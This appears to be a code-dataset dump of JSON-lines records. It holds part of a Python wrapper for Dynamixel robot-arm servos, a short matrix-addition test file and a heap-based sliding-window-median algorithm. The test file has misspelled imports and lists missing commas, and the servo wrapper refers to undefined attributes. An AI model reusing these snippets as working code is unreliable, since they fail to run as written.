VOLTAGE\r\n\r\n\r\ndef get_serial_connection(baud_rate=57600) -> dynamixel.dxl.DynamixelIO:\r\n # setup\r\n if os.name == \"nt\": port = \"COM4\"\r\n else: port = '/dev/ttyUSB0'\r\n\r\n try:\r\n dxl_io = dynamixel.dxl.DynamixelIO(\r\n device_name=port,\r\n baud_rate=57600\r\n ) # your port for U2D2 or other serial device\r\n return dxl_io\r\n except:\r\n print(f'FAILED T0 ACQUIRE SERIAL PORT!!!')\r\n print(f'port: {port}')\r\n raise DynamixelConnectionError\r\n\r\n\r\ndef new_xm430_W210(dxl_id:int, communication_obj:dynamixel.dxl.DynamixelIO):\r\n \"\"\"Returns a new DynamixelMotor object for an XM430-W210. Note that the JSON file\r\n does not store actual values, but rather is a mapping of strings to the address and number of bytes\r\n in a place in the control table.\"\"\"\r\n\r\n # obj = pkg_resources.resource_filename(__name__, \"../json/XM430-W210.json\"), # \r\n\r\n json_path = os.path.abspath('.') + '/robotics/dynamixel_wrapper/dynamixel_json/XM430-W210.json'\r\n motor = dynamixel.dxl.DynamixelMotor(\r\n dxl_id, # integer\r\n communication_obj, # DynamixelIO object\r\n json_path,\r\n protocol=2, # unsure if protocol 1 is supported for XM series, always using 2.\r\n # control_table_protocol=None, # this gets set inside the class later by the protocol argument\r\n )\r\n\r\n motor.torque_disable()\r\n motor.set_position_mode()\r\n kp = 100 #rad/s\r\n motor.write_control_table(\"Position_P_Gain\", kp)\r\n return motor, kp\r\n\r\n\r\ndef eeprom_write_protected(func):\r\n \"\"\"Ensure that the servo has torque disabled before writing values\"\"\"\r\n async def wrapper(*args):\r\n #ARGS[0] IS USUALLY SELF\r\n\r\n\r\n append = '.'\r\n if len(args[1:]) > 0:\r\n append = f'; args: {args[1:]}'\r\n \r\n obj = args[0]\r\n try:\r\n logger.debug(f'Attempting command: {obj.name.name} {func.__name__.upper()}' + append)\r\n except AttributeError:\r\n logger.debug(f'Attempting command: {obj.name} {func.__name__.upper()}' + append)\r\n\r\n result = await func(*args)\r\n await asyncio.sleep(0.02)\r\n return result\r\n return wrapper\r\n\r\n\r\nclass DynamixelServoWrapper:\r\n \"\"\"A wrppaer for a dynamixel motor object that provides some additional layers of functionality,\r\n including: reading and writing to the dynamixel control table with functions not set by the dynamixel-controller library,\r\n giving a consolidated way of reading multiple values at once, timestamps on read values, and logging/debugging tools.\r\n \r\n Useful links: \r\n Simple example of usage: https://pypi.org/project/dynamixel-controller/\r\n Slightly more detailed example: https://github.com/UGA-BSAIL/dynamixel-controller/blob/moreJSON/docs.md\r\n The dynamixel motor code: https://github.com/UGA-BSAIL/dynamixel-controller/blob/moreJSON/dynio/dynamixel_controller.py\r\n \r\n Theta and its offset: while the dynamixel library has a homing offset, that offset only affects the read position, not a written position. \r\n Therefore instead, the Homing_Offset is ignored and unused.\"\"\"\r\n \r\n def __init__(\r\n self, \r\n motor_id:int, \r\n dxl_io:dynamixel.dxl.DynamixelIO,\r\n min_angle:float=0, \r\n max_angle:float=2*math.pi, \r\n theta_offset:float=-math.pi, \r\n server_log_handler=None,\r\n log_level:int=logging.WARNING):\r\n\r\n \"\"\"All angles expected in radians.\"\"\"\r\n # general/utility \r\n self.motor_id = motor_id\r\n self.logger = util.get_simple_logger(f'servo_{motor_id}', log_level)\r\n if server_log_handler is not None:\r\n self.logger.addHandler(server_log_handler)\r\n # motor stuff\r\n self._theta_offset = theta_offset\r\n self.power_status = PowerState.OFF\r\n self.control_mode = DynamixelControlMode.POSITION\r\n self.servo, kp = new_xm430_W210(motor_id, dxl_io) # defaults to position control, torque disabled\r\n self.gains:dict[str, float] = {'kp': kp, 'ki': 0, 'kd': 0}\r\n self._motor_limits = DEFAULT_MOTOR_LIMITS\r\n\r\n model = self.servo.read_control_table(\"Model_Number\")\r\n fw_version = self.servo.read_control_table(\"Firmware_Version\")\r\n self.logger.info(f'New dynamixel servo created! model: {model}, firmware version: {fw_version}')\r\n self.logger.debug(f'Default motor limits: {DEFAULT_MOTOR_LIMITS}')\r\n self.logger.debug(f'Default motor speed units: {convert_velocity_radians_to_raw(DEFAULT_MOTOR_LIMITS.max_velocity)}')\r\n self.set_position_limit(min_angle, max_angle)\r\n self.set_velocity_limit()\r\n self.print_motor_limits()\r\n self._position_limited_by_hardware = False\r\n\r\n self.latest_state:DynamixelState = self.read_full_state()\r\n self.set_theta(0)\r\n # self.torque_enable()\r\n\r\n \"\"\"In order to calculate the angle theta of the servo for use with link dh parameter kinematic model of serial chain manipulator,\r\n the dynamixel motor angle given by the dynio library in degrees is mapped to radians, and the below number is added to that to give theta.\"\"\"\r\n\r\n #############################################\r\n ################## UTILITY ##################\r\n #############################################\r\n @property\r\n def near_max_position(self) -> bool:\r\n \"\"\"Within 1 degree\"\"\"\r\n return self.latest_state.position > self._motor_limits.max_angle - math.radians(1)\r\n\r\n @property\r\n def near_min_position(self) -> bool:\r\n \"\"\"Within 1 degree\"\"\"\r\n return self.latest_state.position < self._motor_limits.min_angle + math.radians(1)\r\n \r\n @property\r\n def theta(self) -> float:\r\n \"\"\"In radians\"\"\"\r\n if self.control_mode in (DynamixelControlMode.CURRENT, DynamixelControlMode.VELOCITY) and self.motor_id == 1:\r\n return self.latest_state.position + self._theta_offset - math.pi\r\n else:\r\n return self.latest_state.position + self._theta_offset\r\n\r\n @property\r\n def max_theta(self) -> float:\r\n return self._motor_limits.max_angle + self._theta_offset\r\n\r\n @property\r\n def min_theta(self) -> float:\r\n return self._motor_limits.min_angle + self._theta_offset\r\n\r\n @property\r\n def torque_is_enabled(self) -> bool:\r\n return self.power_status == PowerState.ON\r\n \r\n def _convert_theta_to_angle(self, theta:float) -> float:\r\n angle = theta - self._theta_offset\r\n self.logger.debug(f'Converted theta {theta} to angle {angle} rad')\r\n return angle\r\n\r\n def check_if_theta_is_valid(self, theta:float) -> bool:\r\n less_than_max = theta <= self.max_theta\r\n return theta >= self.min_theta and less_than_max\r\n\r\n def check_if_velocity_is_valid(self, v:float) -> bool:\r\n \"\"\"Expecting v in radians/sec\"\"\"\r\n too_high = v > self._max_limits.velocity\r\n too_low = v < self._min_limits.velocity\r\n if not too_high and not too_low: return True\r\n else:\r\n self.logger.warning(f'Velocity check failed. Velocity lims: \\\r\n {util.prettify_radians(self._max_limits.velocity)}/sec \\\r\n {util.prettify_radians(self._max_limits.velocity)}/sec')\r\n\r\n def print_motor_limits(self):\r\n # read out the limits stored on the motor (helpful for debugging)\r\n if self.logger.getEffectiveLevel() > 10:\r\n return \r\n self.logger.debug(f'MOTOR LIMITS')\r\n my_dict:dict = {\r\n 'Homing_Offset': {'func':convert_raw_position_to_radians, 'units': 'rad'}, \r\n 'Max_Voltage_Limit': {'func':convert_raw_voltage_to_volts, 'units': 'volts'},\r\n 'Min_Voltage_Limit': {'func':convert_raw_voltage_to_volts, 'units': 'volts'},\r\n 'PWM_Limit': {'func':convert_raw_pwm_to_pwm, 'units': '%'},\r\n 'Current_Limit': {'func':convert_raw_current_to_milliamps, 'units': 'mA'},\r\n 'Velocity_Limit': {'func':convert_raw_velocity_to_radians_per_second, 'units': 'radians/sec'}, \r\n 'Max_Position_Limit': {'func':convert_raw_position_to_radians, 'units': 'radians'}, \r\n 'Min_Position_Limit': {'func':convert_raw_position_to_radians, 'units': 'radians'}\r\n }\r\n\r\n for item_name, v in my_dict.items():\r\n raw = self.servo.read_control_table(item_name)\r\n func = v['func']\r\n unit:str = v['units']\r\n self.logger.debug(f'{item_name} raw: {raw}; converted: {round(func(raw), 3)} {unit}.')\r\n\r\n #############################################\r\n ################## READING ##################\r\n #############################################\r\n def _helper_demangle_data(self, x:int, data_size:int=32) -> int:\r\n \"\"\"The dynamixel library messes up negative values due to improper bit math (Two's Complement)\r\n https://github.com/UGA-BSAIL/dynamixel-controller/blob/58a956c16c612ea3e33df955397c4857d1043c07/dynamixel_sdk/robotis_def.py\r\n In the MAKE_WORD function. This file is in a wrapper package for dynamixel_sdk, and that function matches the \r\n most up to date Robotis distribution of the SDK. Function is deprecated.\"\"\"\r\n\r\n if x > 2 << (data_size - 2): # overflowed in the negative dir\r\n x -= 2 << (data_size - 1)\r\n return x\r\n\r\n def _get_position(self) -> int:\r\n raw = self.servo.get_position()\r\n return self._helper_demangle_data(raw)\r\n\r\n def _get_velocity(self) -> int:\r\n \"\"\"This functionality was not provided by the dynio library. Note that the units here are weird, 0.229 RPM\"\"\"\r\n v = self.servo.read_control_table(\"Present_Velocity\")\r\n return self._helper_demangle_data(v, 32)\r\n\r\n def _get_temperature(self) -> int:\r\n \"\"\"This functionality was not provided by the dynio library. deg celcius\"\"\"\r\n return self.servo.read_control_table(\"Present_Temperature\")\r\n\r\n def _get_current(self) -> int:\r\n \"\"\"This helper demangles the read current\"\"\"\r\n return self._helper_demangle_data(self.servo.get_current(), 16)\r\n\r\n def _get_control_mode(self) -> DynamixelControlMode:\r\n raw = self.servo.read_control_table(\"Operating_Mode\")\r\n mode = DynamixelControlMode(raw)\r\n self.logger.debug(f'Fetched motor control mode: {mode.name}')\r\n self.control_mode = mode\r\n return mode\r\n\r\n def read_simple_state(self):\r\n position_raw = self._get_position()\r\n velocity_raw = self._get_velocity()\r\n new_state = DynamixelState(\r\n CommunicationState.GOOD,\r\n position_raw,\r\n velocity_raw,\r\n )\r\n self.latest_state = new_state\r\n self.logger.debug(f'New state --> {self.latest_state.simple_repr}')\r\n\r\n if self._position_limited_by_hardware:\r\n self._position_protection()\r\n return self.latest_state\r\n\r\n def read_full_state(self):\r\n \"\"\"Reads in the current_raw state\"\"\"\r\n position_raw = self.servo.get_position()\r\n current_raw = self._get_current()\r\n velocity_raw = self._get_velocity()\r\n temperature = self._get_temperature()\r\n self.latest_state = DynamixelState(\r\n CommunicationState.GOOD,\r\n position_raw,\r\n velocity_raw,\r\n current_raw,\r\n temperature\r\n )\r\n\r\n self.logger.debug(f'New state --> {self.latest_state.simple_repr}')\r\n \r\n if self._position_limited_by_hardware:\r\n self._position_protection()\r\n return self.latest_state\r\n\r\n def _position_protection(self):\r\n \"\"\"This exists to keep the first motor from going too far when in non position control modes (ie resolved rate)\"\"\"\r\n # check the operating mode\r\n if not self.control_mode in (DynamixelControlMode.POSITION, DynamixelControlMode.EXTENDED_POSITION) and self.torque_is_enabled:\r\n position_deadband = math.pi/6\r\n \r\n # we're doing all operations here in radians in the actuator space (NOT theta, NOT the weird dynamixel units)\r\n too_far_forwards = self.latest_state.position > self._motor_limits.max_angle - position_deadband\r\n too_far_backwards = self.latest_state.position < self._motor_limits.min_angle + position_deadband\r\n \r\n # check the speed? for now, no, instead we just keep a high dead_band\r\n if too_far_forwards or too_far_backwards:\r\n self.logger.error(f'Detected that the motor has entered an area where it is in danger of damaging iteself or the robot. Disabling motor. Current position: {util.prettify_radians(self.latest_state.position)}')\r\n self.torque_disable()\r\n \r\n #############################################\r\n ################## WRITING ##################\r\n #############################################\r\n def set_position_limit(self, min_angle:float, max_angle:float):\r\n \"\"\"Velocity limit expected in radians/sec. Default is 330 raw. \r\n Note that it is important for mathematical reasons to preserve the limits in the original units given, \r\n not raw to prevent issues converting back and forth.\"\"\"\r\n min_raw = convert_radians_to_raw_position(min_angle)\r\n max_raw = convert_radians_to_raw_position(max_angle)\r\n self._motor_limits.min_angle = min_angle\r\n self._motor_limits.max_angle = max_angle\r\n\r\n self.logger.debug(f'Setting minimum position to angle {util.prettify_radians(self._motor_limits.min_angle)} radians, {min_raw} units')\r\n self.servo.write_control_table('Min_Position_Limit', min_raw)\r\n self.logger.debug(f'Setting maximum position to {util.prettify_radians(self._motor_limits.max_angle)} radians, {max_raw} units')\r\n self.servo.write_control_table('Max_Position_Limit', max_raw)\r\n\r\n def set_velocity_limit(self, vel_limit:float=7.914):\r\n \"\"\"Velocity limit expected in radians/sec. Default is 330 raw. \r\n Note that it is important for mathematical reasons to preserve the limits in the original units given, \r\n not raw to prevent issues converting back and forth.\"\"\"\r\n\r\n turned_off_torque:bool = False\r\n if self.torque_is_enabled:\r\n self.logger.warning(f'[SET_VELOCITY_LIMIT] Temporarily disabling torque in order to write to EEPROM are of servo memory.')\r\n self.torque_disable()\r\n turned_off_torque = True\r\n\r\n vel_limit_raw = convert_velocity_radians_to_raw(vel_limit)\r\n self._motor_limits.max_velocity = vel_limit\r\n self.logger.info(f'Setting velocity limit to {util.prettify_radians(self._motor_limits.max_velocity)}/s, {vel_limit_raw} units')\r\n self.servo.write_control_table('Velocity_Limit', vel_limit_raw)\r\n\r\n # validate via reflectance that this was successful\r\n real_limit_raw = self.servo.read_control_table('Velocity_Limit')\r\n real_limit = convert_raw_velocity_to_radians_per_second(real_limit_raw)\r\n self.logger.info(f'The velocity limit is now: {util.prettify_radians(real_limit)}/s, raw: {real_limit_raw}')\r\n self._motor_limits.max_velocity = vel_limit\r\n \r\n # turn the torque back on if we turned it off\r\n if turned_off_torque:\r\n self.torque_enable()\r\n self.logger.info(f'Torque re enabled.')\r\n \r\n def set_current_limit(self, max_current:float):\r\n \"\"\"Limit expected in mA. Default is 1193 raw. \r\n Note that it is important for mathematical reasons to preserve the limits in the original units given, \r\n not raw to prevent issues converting back and forth.\"\"\"\r\n self._motor_limits.max_current = max_current\r\n raw_value = convert_current_milliamps_to_raw(max_current)\r\n\r\n self.logger.debug(f'Setting minimum position to angle {max_current} mA, {raw_value} units')\r\n self.servo.write_control_table('Current_Limit', raw_value)\r\n\r\n def set_motor_gains(self, kp=800, kd=0):\r\n \"\"\"Set the motor gains.\"\"\"\r\n\r\n kp_raw, kd_raw = [int(item) for item in (kp, kd)]\r\n self.logger.info(f'Setting motor internal controller P gain to {kp_raw} (default is 800), D to {kd_raw}')\r\n self.servo.write_control_table('Position_P_Gain', kp_raw)\r\n self.servo.write_control_table('Position_D_Gain', kd_raw)\r\n\r\n # validate via reflectance that this was successful\r\n real_kp = self.servo.read_control_table('Position_P_Gain')\r\n if real_kp == kp_raw:\r\n self.logger.info(f'Kp successfully changed! is now: {kp_raw}')\r\n self.gains['kp'] = kp_raw\r\n self.gains['kd'] = kd_raw\r\n else:\r\n self.logger.warning(f'Kp change failed! Kp is still: {real_kp}')\r\n\r\n def _set_position(self, new_position:int):\r\n self.logger.debug(f'Position set to {new_position}')\r\n # enforce limits\r\n min_raw = convert_radians_to_raw_position(self._motor_limits.min_angle)\r\n max_raw = convert_radians_to_raw_position(self._motor_limits.max_angle)\r\n if new_position > max_raw: \r\n self.logger.warning(f'Given position is larger than the position limit {max_raw}. Setting positiong to the limit instead.')\r\n new_position = max_raw\r\n if new_position < min_raw:\r\n self.logger.warning(f'Given position is smaller than the position limit {min_raw}. Setting positiong to the limit instead.')\r\n new_position = min_raw\r\n self.logger.debug(f'Setting position: {new_position} units')\r\n self.servo.set_position(int(new_position))\r\n \r\n def _set_angle(self, new_angle:float):\r\n \"\"\"Angle expected in radians\"\"\"\r\n self.logger.debug(f'Setting position using conversion from radians, value: {util.prettify_radians(new_angle)}')\r\n self._set_position(convert_radians_to_raw_position(new_angle))\r\n\r\n def set_theta(self, theta:float):\r\n \"\"\"Sets the motor position using a calculation to match theta\"\"\"\r\n if not self.check_if_theta_is_valid(theta):\r\n self.logger.warning(f'Function SET_THETA received an invalid value! {theta} rad. Limits: {self.min_theta} {self.max_theta}')\r\n self.logger.debug(f'Function SET_THETA received an invalid value! {theta} rad. Limits: {util.prettify_radians(self.min_theta)} {util.prettify_radians(self.max_theta)}')\r\n else:\r\n self.logger.debug(f'Setting angle from theta {util.prettify_radians(theta)}')\r\n angle = self._convert_theta_to_angle(theta)\r\n self._set_angle(angle)\r\n \r\n def set_velocity(self, new_vel:float):\r\n \"\"\"Velocity expected in radians/second\"\"\"\r\n write_value= convert_velocity_radians_to_raw(new_vel)\r\n self.servo.set_velocity(write_value)\r\n self.logger.debug(f'Velocity set to {new_vel} rad/s, write: {write_value}')\r\n \r\n def set_current(self, goal_current:float):\r\n \"\"\"Input expexted in mA. This will be limited by the Current_Limit setting. Maximum Current_Limit setting is about 3.209 A\r\n \r\n This operation is particularly prone to failure, so success is gauged via reflectance.\"\"\"\r\n \r\n self.logger.debug(f'Setting goal current to {round(goal_current, 2)} mA')\r\n write_value = convert_current_milliamps_to_raw(goal_current)\r\n if abs(goal_current) > self._motor_limits.max_current:\r\n self.logger.error(f'Invalid value {goal_current} mA passed to set_current function of dynamixel motor. Write val: {write_value} outside of bounds')\r\n else:\r\n self.servo.write_control_table(\"Goal_Current\", write_value)\r\n\r\n def set_control_mode(self, incoming_mode:DynamixelControlMode) -> bool:\r\n \"\"\"Set the control mode on the servo motor, validate the change via reflectance to ensure that \r\n software knowledge of the control mode is always accurate.\r\n \r\n Note that torque must be disabled in order to change the motor control mode as it is in a protected section of the control table..\"\"\"\r\n\r\n # Read more here: https://emanual.robotis.com/docs/en/dxl/x/xm430-w210/#operating-mode \r\n if type(incoming_mode) != DynamixelControlMode:\r\n raise ValueError(f\"Invalid parameter passed to SET_CONTROL_MODE: {incoming_mode.name}\")\r\n elif incoming_mode == self._get_control_mode():\r\n self.logger.debug(f'Set control mode exiting as motor is already in mode {incoming_mode.name}')\r\n return\r\n self.logger.info(f'Attempting to set control mode to {incoming_mode.name}, value: {incoming_mode.value}')\r\n if incoming_mode == DynamixelControlMode.CURRENT:\r\n \"\"\"DYNAMIXEL only controls current_raw(torque) regardless of speed and position. \r\n This mode is ideal for a gripper or a system that only uses current_raw(torque) control or a system that \r\n has additional velocity/position controllers.\"\"\"\r\n self.servo.write_control_table(\"Operating_Mode\", incoming_mode.value)\r\n # if goal_current is not None:\r\n # self.servo.write_control_table(\"Goal_Current\", goal_current)\r\n elif incoming_mode == DynamixelControlMode.VELOCITY:\r\n \"\"\"This mode controls velocity. This mode is identical to the Wheel Mode(endless) from existing DYNAMIXEL. \r\n This mode is ideal for wheel-type robots.\"\"\"\r\n self.set_velocity(0)\r\n # self.servo.set_velocity_mode()\r\n self.servo.write_control_table(\"Operating_Mode\", incoming_mode.value)\r\n elif incoming_mode == DynamixelControlMode.POSITION:\r\n \"\"\"This mode controls position. This mode is identical to the Joint Mode from existing DYNAMIXEL. \r\n Operating position range is limited by the Max Position Limit(48) and the Min Position Limit(52). \r\n This mode is ideal for articulated robots that each joint rotates less than 360 degrees.\"\"\"\r\n self.servo.set_position_mode()\r\n elif incoming_mode == DynamixelControlMode.EXTENDED_POSITION:\r\n \"\"\"This mode controls position. This mode is identical to the Multi-turn Position Control from \r\n existing DYNAMIXEL. 512 turns are supported(-256[rev] ~ 256[rev]). This mode is ideal for multi-turn \r\n wrists or conveyer systems or a system that requires an additional reduction gear. \r\n Note that Max Position Limit(48), Min Position Limit(52) are not used on Extended Position Control Mode.\"\"\"\r\n self.servo.write_control_table(\"Operating_Mode\", incoming_mode.value)\r\n elif incoming_mode == DynamixelControlMode.CURRENT_BASED_POSITION:\r\n \"\"\"This mode controls both position and current_raw(torque). Up to 512 turns are \r\n supported(-256[rev] ~ 256[rev]). This mode is ideal for a system that requires both \r\n position and current_raw control such as articulated robots or grippers.\"\"\"\r\n self.servo.write_control_table(\"Operating_Mode\", incoming_mode.value)\r\n elif incoming_mode == DynamixelControlMode.PWM:\r\n \"\"\"This mode directly controls PWM output. (Voltage Control Mode)\"\"\"\r\n self.servo.write_control_table(\"Operating_Mode\", incoming_mode.value)\r\n\r\n success = incoming_mode == self._get_control_mode()\r\n if not success:\r\n self.logger.warning(f'SET_CONTROL_MODE failed! Incoming: {incoming_mode.name}, current mode: {self.control_mode.name}')\r\n else:\r\n self.logger.info(f'The control mode has been successfully changed to {incoming_mode.name}.')\r\n self.control_mode = incoming_mode\r\n self.read_simple_state()\r\n return success\r\n\r\n def torque_enable(self):\r\n self.servo.torque_enable()\r\n # check if we succeeded\r\n if self.servo.read_control_table(\"Torque_Enable\") == 1:\r\n self.logger.info(f'Motor torque has been enabled.')\r\n self.power_status = PowerState.ON\r\n else:\r\n self.logger.error(f'ENABLE method was called but motor torque is still disabled.')\r\n self.power_status = PowerState.OFF\r\n\r\n def torque_disable(self):\r\n self.servo.torque_disable()\r\n # check if we succeeded\r\n if self.servo.read_control_table(\"Torque_Enable\") == 0:\r\n self.logger.info(f'Motor torque has been disabled.')\r\n self.power_status = PowerState.OFF\r\n else:\r\n self.logger.error(f'DISABLE method was called but motor torque is still enabled.')\r\n self.power_status = PowerState.ON\r\n\r\n #############################################\r\n ################ COROUTINES #################\r\n #############################################\r\n async def discrete_sweep(self, direction:int, step_resolution=2*math.pi/20, sleep_time=0.15):\r\n \"\"\"Move the joint from one side of its motion to the other. Direction should be either 1 or -1.\r\n Note that this task assumes that a separate task is running to read the state.\"\"\"\r\n try:\r\n self.logger.debug(f'SWEEP begin! Direction: {direction}')\r\n\t\t\t# initialize the motor starting angle.\r\n if direction == -1:\r\n target_theta = self.max_theta\r\n elif direction == 1: \t\t\t\t\t\t\t\t\t\t# direction == 1 is the nominal case and the default here\r\n target_theta = self.min_theta\r\n else:\r\n self.logger.error(f'Sweep failed, direction {direction} must be either 1 or -1')\r\n\r\n # initialize by moving to the start position\r\n start_time = time.monotonic()\r\n self.set_theta(target_theta)\r\n while 1:\r\n self.logger.error(f'In loop')\r\n error = abs(target_theta - self.theta)\r\n if error < math.radians(5): \r\n self.logger.debug(f'break')\r\n break\r\n if time.monotonic() - start_time > 5: \r\n self.logger.error(f'Sweep initial movement has timed out. \\\r\n Latest angle: {util.prettify_radians(self.latest_state.position)}, age {self.latest_state.age} sec, \\\r\n theta: {util.prettify_radians(self.theta)}, min: {util.prettify_radians(self.min_theta)}, max: {util.prettify_radians(self.max_theta)}')\r\n\r\n raise asyncio.CancelledError\r\n \r\n await asyncio.sleep(0.5)\r\n\r\n self.logger.debug(f'Sweep has arrived near to the initial position')\r\n\r\n\t\t\t# sweep\r\n def is_done():\r\n if direction == -1:\r\n return self.near_min_position \r\n else:\r\n return self.near_max_position\r\n\r\n while not is_done():\r\n if direction == -1:\r\n target_theta -= step_resolution\r\n if target_theta < self.min_theta: target_theta = self.min_theta\r\n self.set_theta(target_theta)\r\n else:\r\n target_theta += step_resolution\r\n if target_theta > self.max_theta: target_theta = self.max_theta\r\n self.set_theta(target_theta)\r\n await asyncio.sleep(sleep_time)\r\n\r\n self.logger.debug(f'discrete sweep task has concluded.')\r\n\r\n except asyncio.CancelledError:\r\n self.logger.info(f'Sweep task cancelled!')\r\n except KeyboardInterrupt:\r\n self.logger.info(f'Sweep detected keyboard interrupt.')\r\n\r\n async def smooth_sweep(self, direction:int, velocity:float):\r\n \"\"\"Move the joint from one side of its motion to the other. Direction should be either 1 or -1.\r\n \r\n \"\"\"\r\n\r\n try:\r\n if not self.check_if_velocity_is_valid(velocity):\r\n self.logger.error(f'Function SLOW_SWEEP received a velocity that is outside of the current bounds.')\r\n raise asyncio.CancelledError\r\n\r\n self.logger.info(f'SWEEP begin! Direction: {direction}')\r\n\t\t\t# initialize the motor starting angle.\r\n if direction == -1:\r\n target_theta = self.max_theta\r\n elif direction == 1: \t\t\t\t\t\t\t\t\t\t# direction == 1 is the nominal case and the default here\r\n target_theta = self.min_theta\r\n else:\r\n self.logger.error(f'Sweep failed, direction {direction} must be either 1 or -1')\r\n\r\n # initialize by moving to the start position\r\n start_time = time.monotonic()\r\n self.set_theta(target_theta)\r\n while 1:\r\n error = abs(target_theta - self.theta)\r\n if error < math.radians(3): break\r\n if time.monotonic() - start_time > 5: \r\n self.logger.error(f'Sweep initial movement has timed out. \\\r\n Latest angle: {util.prettify_radians(self.latest_state.position)}, age {self.latest_state.age} sec, \\\r\n theta: {util.prettify_radians(self.theta)}, min: {util.prettify_radians(self.min_theta)}, max: {util.prettify_radians(self.max_theta)}')\r\n raise asyncio.CancelledError\r\n await asyncio.sleep(0.1)\r\n\r\n self.logger.debug(f'Sweep has arrived near to the initial position')\r\n self.set_control_mode(DynamixelControlMode.VELOCITY) \r\n \r\n\t\t\t# sweep\r\n def is_done():\r\n if direction == -1:\r\n return self.near_min_position \r\n else:\r\n return self.near_max_position\r\n\r\n self.set_velocity(velocity*direction)\r\n\r\n while not is_done():\r\n await asyncio.sleep(0.1)\r\n\r\n self.set_control_mode(DynamixelControlMode.POSITION)\r\n self.logger.info(f'_sweep task has concluded.')\r\n\r\n except asyncio.CancelledError:\r\n self.logger.info(f'Sweep task cancelled!')\r\n except KeyboardInterrupt:\r\n self.logger.info(f'Sweep detected keyboard interrupt.')\r\n","repo_name":"ryanslam/Simple-Robot-Arm","sub_path":"Simple_Robo_Arm/rsl/rr_two_link/robotics/dynamixel_wrapper/wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":33748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70847066153","text":"import sys\n\nimport numpy as np\n\n\n\n\nfrom mathematica.algebr import matrics\n\n\ndef test_add_matrics():\n a = [\n [1,2,3],\n [4,5,6]\n ]\n b = [\n [7,8,9]\n [10,11,12]\n ]\n result = matrices.add_matrices(a, b)\n expected = [\n [8, 10, 12]\n [14, 16, 18]\n ]\n assert result == expected\n\n\n\n\n\n","repo_name":"krejzy/bootcamp_alx_pyth","sub_path":"zjazd4/tests/test_algebra.py","file_name":"test_algebra.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10781871694","text":"\"\"\"\r\nIn many problems, where we are given a set of elements such that we can divide them into two parts. We are interested\r\nin knowing the smallest element in one part and the biggest element in the other part. The Two Heaps pattern is an\r\nefficient approach to solve such problems.As the name suggests, this pattern uses two Heaps;\r\n Min Heap ---> smallest element\r\n Max Heap ---> biggest element\r\n\r\nProblem Statement: Given an array of numbers and a number ‘k’, find the median of all the ‘k’ sized sub-arrays\r\n (or windows) of the array.\r\n\r\nAlgo: Similar to Find the Median of Number Stream.\r\n\r\n The only difference is that we need to keep track of a sliding window of ‘k’ numbers. This means, in each\r\n iteration, when we insert a new number in the heaps, we need to remove one number from the heaps which is going\r\n out of the sliding window. After the removal, we need to rebalance the heaps in the same way that we did while\r\n inserting.\r\n\r\nExample 1:\r\n Input: nums=[1, 2, -1, 3, 5], k = 2\r\n Output: [1.5, 0.5, 1.0, 4.0]\r\n Explanation: Lets consider all windows of size ‘2’:\r\n [ 1, 2, -1, 3, 5] -> median is 1.5\r\n [ 1, 2, -1, 3, 5] -> median is 0.5\r\n [ 1, 2, -1, 3, 5] -> median is 1.0\r\n [ 1, 2, -1, 3, 5] -> median is 4.0\r\nExample 2:\r\n\r\n Input: nums=[1, 2, -1, 3, 5], k = 3\r\n Output: [1.0, 2.0, 3.0]\r\n Explanation: Lets consider all windows of size ‘3’:\r\n [ 1, 2, -1, 3, 5] -> median is 1.0\r\n [ 1, 2, -1, 3, 5] -> median is 2.0\r\n [ 1, 2, -1, 3, 5] -> median is 3.0\r\n\r\n\"\"\"\r\n\r\nimport heapq\r\nfrom heapq import *\r\n\r\n\r\nclass SlidingWindowMedian:\r\n def __init__(self) -> None:\r\n self.lower_half = [] # Containing first half of the numbers (MaxHeap)\r\n self.upper_half = [] # Containing second half of the numbers (MinHeap)\r\n\r\n def _rebalance_heaps(self) -> None:\r\n # either both the heaps will have equal number of elements or upper_half(min_heap) will have one\r\n # more element than the min-heap\r\n if len(self.upper_half) >= len(self.lower_half) + 2:\r\n heappush(self.lower_half, -heappop(self.upper_half))\r\n elif len(self.lower_half) >= len(self.upper_half) + 1:\r\n heappush(self.upper_half, -heappop(self.lower_half))\r\n\r\n def _remove(self, heap: list[int], element: int) -> None:\r\n # removes an element from the heap keeping the heap property\r\n idx = heap.index(element) # find the element\r\n # move the element to the end and delete it\r\n heap[idx] = heap[-1]\r\n del heap[-1]\r\n # we can use heapify to re-adjust the elements but that would be O(N),\r\n # instead, we will adjust only one element which will be O(logN)\r\n if idx < len(heap):\r\n heapq._siftup(heap, idx)\r\n heapq._siftdown(heap, 0, idx)\r\n\r\n def findSlidingWindowMedian(self, nums: list[int], k: int) -> list[float]:\r\n window_start = 0\r\n result = [0.0 for _ in range(len(nums) - k + 1)]\r\n for window_end in range(0, len(nums)):\r\n if not self.upper_half or self.upper_half[0] <= nums[window_end]:\r\n heappush(self.upper_half, nums[window_end])\r\n else:\r\n heappush(self.lower_half, -nums[window_end])\r\n self._rebalance_heaps()\r\n\r\n # if we have at least 'k' elements in the sliding window\r\n if window_end >= k-1:\r\n # add the median to the the result array\r\n if len(self.lower_half) == len(self.upper_half):\r\n result[window_start] = (-self.lower_half[0] + self.upper_half[0]) / 2\r\n else:\r\n result[window_start] = (self.upper_half[0]) / 1\r\n\r\n # remove the element going out of the sliding window\r\n element_to_removed = nums[window_start]\r\n window_start += 1\r\n\r\n if element_to_removed >= self.upper_half[0]:\r\n self._remove(self.upper_half, element_to_removed)\r\n else:\r\n self._remove(self.lower_half, -element_to_removed)\r\n self._rebalance_heaps()\r\n\r\n return result\r\n\r\n\r\ndef main():\r\n slidingWindowMedian = SlidingWindowMedian()\r\n result = slidingWindowMedian.findSlidingWindowMedian([1, 2, -1, 3, 5], 2)\r\n print(\"Sliding window medians are: \" + str(result))\r\n\r\n slidingWindowMedian = SlidingWindowMedian()\r\n result = slidingWindowMedian.findSlidingWindowMedian([1, 2, -1, 3, 5], 3)\r\n print(\"Sliding window medians are: \" + str(result))\r\n\r\n\r\nmain()\r\n\r\n\r\n\"\"\"\r\nTime Complexity: O(N*K) ==> Insert/Remove --> logK, Searching the element to be removed --> O(K)\r\nSpace Complexity: O(K)\r\n\"\"\"\r\n","repo_name":"sandeepyadav10011995/Data-Structures","sub_path":"Pattern-Two Heaps/2. Sliding Window Median.py","file_name":"2. Sliding Window 